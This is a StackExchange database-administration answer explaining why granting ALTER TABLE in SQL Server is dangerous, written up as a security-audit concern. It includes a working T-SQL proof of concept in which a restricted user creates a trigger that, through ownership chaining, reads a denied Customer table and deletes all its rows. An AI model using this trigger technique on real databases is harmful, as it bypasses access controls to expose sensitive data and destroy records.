How dangerous is granting the ALTER TABLE permission?

Imagine the following scenario

CREATE DATABASE test

GO

USE test;    

CREATE TABLE dbo.Customer
  (
     CustomerId   INT,
     Email        VARCHAR(100),
     SensitiveData VARCHAR(20)
  );

INSERT INTO dbo.Customer
VALUES     (1,'abc@foo.com','12346789');

At some point an ETL process is written that performs some activities in the test database.

CREATE USER etlUser WITHOUT LOGIN; /*For demo purposes*/

CREATE TABLE dbo.StagingTable
  (
     StagingTableId INT,
     SomeData       VARCHAR(100),
  )

GRANT UPDATE,INSERT,DELETE,SELECT,ALTER ON dbo.StagingTable TO etlUser;

DENY SELECT ON dbo.Customer TO etlUser;
DENY SELECT ON dbo.Customer (SensitiveData) TO etlUser; /*For good measure*/

The etlUser should not have permissions to the Customer table (and certainly not to the SensitiveData column) so these are explicitly denied above.

The ETL process truncates dbo.StagingTable so is given ALTER table permissions on that.

This is flagged during a security audit. How dangerous is this scenario?

Pretty dangerous...

In addition to the obvious permission to change the structure of StagingTable itself the ALTER TABLE permission allows them to create triggers on the table. So in this case through ownership chaining they are able to both see sensitive customer data (despite the explicit DENY permissions) and perform vandalism on this second table.

EXECUTE AS user='etlUser'

GO

CREATE OR ALTER TRIGGER TR ON dbo.StagingTable AFTER UPDATE AS 
/*Exposure of sensitive data*/
SELECT * FROM dbo.Customer;

/*Vandalism*/
DELETE FROM dbo.Customer;

go

--Fire the trigger
UPDATE dbo.StagingTable SET SomeData = SomeData WHERE 1=0;

REVERT

StackExchange Database Administrators Q#203966, answer score: 18